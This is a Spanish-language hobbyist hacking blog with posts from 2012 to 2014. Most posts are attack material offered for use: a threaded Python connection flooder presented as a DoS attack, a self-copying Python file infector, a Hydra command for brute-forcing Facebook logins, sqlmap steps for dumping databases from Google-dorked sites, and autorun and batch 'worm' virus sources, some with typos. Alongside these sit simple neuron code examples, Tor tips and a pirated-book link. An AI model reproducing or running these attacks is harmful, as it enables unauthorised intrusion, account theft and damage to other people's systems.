miércoles, 8 de enero de 2014

Ataque de denegación de servicio (DOS) Python 3.4 ejemplo

from threading import Thread
import socket
import time

class MyThread(Thread):
    def run(self):
        #verifica que exista la pagina
        conexion = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
        conexion.connect((Ip,Puerto))
        conexion.close()
        try:
            l = 1
            while True:
                conexion = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
                conexion.connect((Ip,Puerto))
                conexion.close()
                print(l)
                l = l+1
        except IOError: 
            print("error")

Ip = input("Ip:")
#default 80
Puerto = int(input("Puerto: "))
NoThread = int(input("Numero de Hilos: "))
for i in range(NoThread):
  my_thread = MyThread()
  print("Hilo Activo: ")
  print("Tempo de Espera en Cada Hilo: 1\n")
  time.sleep(1)
  my_thread.name = i
  my_thread.start()

sábado, 9 de noviembre de 2013

Neurona en C++

Ejemplo sencillo de Neurona en C++

#include <iostream>
#include <cstdlib>

using namespace std;

void activacion(double suma)
{
    float umbral = ((float)rand())/RAND_MAX;
    cout << umbral<<endl;
    if (suma <= umbral)
    {
        cout<<"Activada"<<endl;
    }
    else
    {
        cout<<"No Activada"<<endl;
    }
}

void sumato(int arreglo[],float peso[],int valor)
{
    double suma,multi;
    suma = 0;
    for (int y=0; y<valor; y++)
    {
        multi = ((arreglo[y]) * (peso[y]));
        suma = suma + multi;
    }
    cout << "La sumatoria es: "<<suma<<"\n"<<endl;
    activacion(suma);
}
void pesos(int arreglo[],int valor)
{
    float peso[valor];
    for (int x =0; x<valor; x++)
    {
       peso[x] = ((float)rand())/RAND_MAX * 2.0 - 1.0;
       cout <<"binario: "<<peso[x]<<"\n";
    }
   sumato(arreglo,peso,valor);
}
int entrada(int valor)
{
    cout <<"Numero limite: "; cin >> valor;
    int arreglo[valor];
    int suma = 0;
    for (int i = 0; i < valor; i++)
    {
        cout <<"numero "<<i+1<<": "; cin >> arreglo[i];
        cout <<"Arreglo: "<<arreglo[i]<<"\n";
    }
    pesos(arreglo,valor);
}

int main()
{
    int valor;
    entrada(valor);
    return 0;
}

Neurona en Python 3

Ejemplo de Neurona sencilla en Python

import random

class RNA:
    def __init__(self,nentrada):
        self.nentrada = nentrada

    def entrada(self):
        entradas = []
        for i in range(self.nentrada):
            i = int(input("Valor %d: "%(i+1)))
            entradas.append(i)
        print("Las entradas son ",entradas)
        self.pesos(entradas)

        
    def pesos(self,entradas):
        peso = []
        for m in range(self.nentrada):
            peso.append(random.uniform(-1.0,1.0))
        print("Los pesos son de: ",peso)
        self.neurona(entradas,peso)

    def neurona(self,entradas,peso):
        sumatoria = 0
        for k in range(self.nentrada):
            multi = ((entradas[k])*(peso[k]))
            sumatoria = sumatoria + multi
        self.activacion(sumatoria)

    def activacion(self,sumatoria):
        umbral = random.uniform(0,1)
        print("El ubral es: %f"%umbral)
        if sumatoria <= umbral:
            print("Activada")
        else:
            print("No Activada")
            
if __name__ == "__main__":
    n = int(input("Valor Final: "))
    neuron = RNA(n)
    print(neuron.entrada())

lunes, 29 de julio de 2013

python 3 mark lutz pdf

Aqui les dejo el libro de mark lutz sobre python 3 que me encontre en internet esta completo contiene 1217
paginas esta completo esta muy bien ya que explica como esta estructurado y ejemplos con la nueva version de python 3.x


EL CONOCIMIENTO DEBE SER LIBRE

<=#=#=#=#=#=#=#=#=#=

Infeccion en python

Bueno últimamente me e estado metiendo con python ya que es un buen lenguaje para hacer scrips de ultimo momento y ademas es muy poderoso, 

Aquí esta una infección que infecta exenciones en .py lo hice nomas para poder probar los conocimientos adquiridos se ejecuta en la carpeta raíz ya que no e podido meterme con el disco C por permisos

funciona    en python 3.3.2 y con 2.7.5 suerte 

import os
from sys import argv

this_file = open(argv[0])
this_lines = this_file.readlines()
this_file.close()
# se auto lee
for files in os.listdir('.'):
  #busca archivos
  if files.find('.py') >=1:
     new_files = open(files,"r+")
     target_lines = new_files.readlines()
     new_files.seek(0)
     try:
       #los infecta
        new_files.write("".join(this_lines))
        for target in target_lines:
            new_files.write("%s" %target)
        new_files.close()
     except:
       # si pasa un error
           new_files.close()
           new_files.open(files,"w")
           for target in target_lines:
             new_files.write("%s" %target)
           new_files.close()
           os._exit(1)

domingo, 20 de enero de 2013

lunes, 10 de diciembre de 2012

Como usar Hydra en Facebook, Gmail, Twitter

Como utilizar Hydra Facebook bueno aquí le dejare un pequeño ejemplo de como utilizar hydra en facebook
ay unos que le llaman (hackear facebook) yo no le llamo asi se oye algo mal, mejor tomalo como auditoria de seguridad jaja xD

1 primero abres tu back track
2 después abres tu consola y colocas Hydra (solamente así sin necesidad de ingresar al directorio de pentest)
3 después tienes que ver los codigos de la pagina de facebook inspeccionar elemento












4 Luego buscas el form











5 y por ultimo el id de los campos de usuario y de contraseña














Aquí esta el código ya echo solo para que lo coloquen en su consola
hydra -l correo -p contraseña www.pagina.com http-post-form "/login.php?login_attempt=1:email=^USER^&pass=^PASS^:incorrect"

-p es para cuando se tiene solo una contraseña
-l es para cuando se tiene solo un usuario

Si quieres utilizar muchos usuarios o contraseñas
solo reemplazos por -L -P  (ejemplo
-P root/Desktop/contraseñas.txt
y si fueran para usuarios solo usarías la -L y el archivo donde se alojan y no olviden poner tu terminación
ejemplo (.txt o .lst)

SUERTE Y CUIDADO FUNCIONA :)






lunes, 3 de diciembre de 2012

Como utilizar SQLMAP

las paginas que quieres atacar tendrían  una terminación parecida a esta .php?id=435
y si no quieres un blanco en especifico solo pon esto en google y te dará todas las paginas con .php?id=

inurl:".php?id=" site:.mx

donde dice site puedes quitarlo ya que da las paginas de México y si te encuentras en otro país solo pon la terminación correspondiente

inurl:".php?id="

si no sabes como hacer esto y te preguntas como se hace bájate back Track ya que es un sistema de auditorias(nueva versión Back Track 5r3)



1 cd /pentest/database/sqlmap
2 python sqlmap.py -u http://pagina web --dbs (es para sacar base de datos)
3 después de que tengas la base de datos seria python sqlmap.py -u http://pagina web -D base de datos --tables (para sacar informacion de la base)
4 después python sqlmap.py -u http://pagina web -D base de datos -T ejemplo --columns
5 después de que tengas las columnas sigue  python sqlmap.py -u http://pagina web -D base de datos -T ejemplo -C ejemplo --dump

domingo, 5 de agosto de 2012

Como crear un dominio .onion

bueno se nesesitan 2 cosas

1 instalar I2P
2 Tor


tutorial i2p

tutorial Tor

jueves, 2 de agosto de 2012

Como navegar en la deep web

bueno últimamente e andado de "curioso" en el tema de la deep wep y si andas de curioso pues deberás tener mucho cuidado ya que suele ser un lugar bastante peligroso mas si eres una persona sin conocimientos de informática NO TE METAS 

esto te sirviera si quieres acceder a a la deep web tendrás que usar tu windows desde una pendrive y usando tor para mantener tu anonimato 

1  como usar una linux desde una pendrive 

solo descargas la version de windows que quieras en .iso  (o que soporte tu compu 32 a 64 bit)
descargas el unetbootin y colocas la imagen .iso y la pendrive y el programa lo ara todo por ti y cuando  enciendas la computadora rapidamente cuando se inicie la bios presionas f12 (en mi caso) y listo 
si quieres que inicie desde un disco usa ashampoo seria lo mismo pero con un disco
las ventajas de usar un pendrive o disco es que cuando accedas a la deep web y si por si acaso se mete un virus puedes apagar el sistema o reiniciarla ya que si lo inicias desde un pendrive o disco no se guarda nada y es como si no se hubiera infectad nada ya que en nuestro equipo normalmente no hace

2 usar tor también puedes instalarlo desde una pendrive o disco y listo

SUERTE Y CUIDADO

   

viernes, 27 de julio de 2012

Crear llave de Seguridad Para Windows

Bueno este es un vídeo que te explica detalladamente como crear una llave para tu windows para que nadie pueda ingresar a tu computadora y documentos personales manteniendola segura y la llave solo pesa alrededor de 3kb

martes, 26 de junio de 2012

Codigo Fuente de Virus AUTORUN

Este es un virus en exe solo lo pegas en un block de notas y lo guardas como .exe y listo  tu primer AUTORUN




[autorun]
open=RECYCLER\S-1-6-21-2434476501-1644491937-600003330-1213\autoruns.exe
icon=%systemroot%\system32\shell.dll,4
action=open folder to view files
shell\open=open
shell\open\command-recycler\s-1-6-21-2434476501-1644491937-600003330-1213\autoruns.exe
shell\open\default=1

Codigo Fuente de Virus Gusano

Este es un virus gusano en batch solo lo copias y lo pegas en un blok de notas y lo guardas como .bat y listo tu primer virus sencillo




@echo off
copy %0 %windir%\system32\worm.bat
REG ADD HKLM\software\microsoft\windows\currentsversion\run/v
hack/d0%windir%\system32\worm.bat
:worm
cd/
cd%homepatch%
cd escitorio
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd\
cd windows
mkdir %ramdom% 
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd system32
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
goto worm

martes, 19 de junio de 2012

Que es el Virus Flame

que es Flame es un virus muy complejo considerado la mayor ciberarma  de espionaje y fue descubierto por la compañía rusa fabricante de antivirus kaspersky según comentan el virus ya llevaba 2 años operando bajo las sombras cual es el propósito de esa arma pues se dice que para una ciberguerra y todo se mantiene en secreto

Flame va mas allá de los virus normales, atrás de el ay ecuaciones matemáticas y criptografias mucho mas adelantadas que de las que se utilizan hoy en día y cuando se decide analizarlo el virus es totalmente borrado sin dejar rastro alguno, muchas de las empresas estan tomando medidas contra estos tipos de virus como microsoft entre otros

lunes, 18 de junio de 2012

Escaners de Vulnerabilidades Web

Acunetix es un muy buen escaner para checar las vulnerabilidades de una pagina web te lanza resultados en SQL, XSS ,XFS ES una herramienta muy completa